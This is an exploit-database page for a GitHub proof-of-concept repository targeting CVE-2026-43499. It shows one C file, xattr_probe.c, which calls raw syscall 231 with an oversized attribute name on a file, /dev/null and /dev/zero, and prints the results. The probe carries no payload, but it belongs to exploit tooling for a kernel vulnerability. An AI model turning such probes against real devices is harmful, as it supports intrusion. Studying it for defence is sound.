Exploit database

GH-14fb583d3d1bd2da10251bb1a37b93d6

gitchw/ghostlock-cve-2026-43499

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

170 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files269
gitchw/ghostlock-cve-2026-43499Revision 96acd93156f6
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/xattr_probe.c

C · 1,022 bytes
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/syscall.h>
int main(int argc, char **argv) {
    const char *path = argc > 1 ? argv[1] : "/data/local/tmp/.xattr_target";
    int fd = open(path, O_RDWR|O_CREAT, 0666);
    if (fd < 0) { perror("open"); return 1; }
    char name[256]; memset(name, 'A', sizeof(name)); name[200]=0;
    errno = 0;
    long r = syscall(231, fd, name, NULL, 0);
    printf("fgetxattr file fd=%d r=%ld errno=%d (%s)\n", fd, r, errno, strerror(errno));
    int dn = open("/dev/null", O_RDWR);
    if (dn >= 0) {
        errno=0;
        long r2 = syscall(231, dn, name, NULL, 0);
        printf("fgetxattr /dev/null r=%ld errno=%d (%s)\n", r2, errno, strerror(errno));
    }
    int zr = open("/dev/zero", O_RDWR);
    if (zr >= 0) {
        errno=0;
        long r3 = syscall(231, zr, name, NULL, 0);
        printf("fgetxattr /dev/zero r=%ld errno=%d (%s)\n", r3, errno, strerror(errno));
    }
    return 0;
}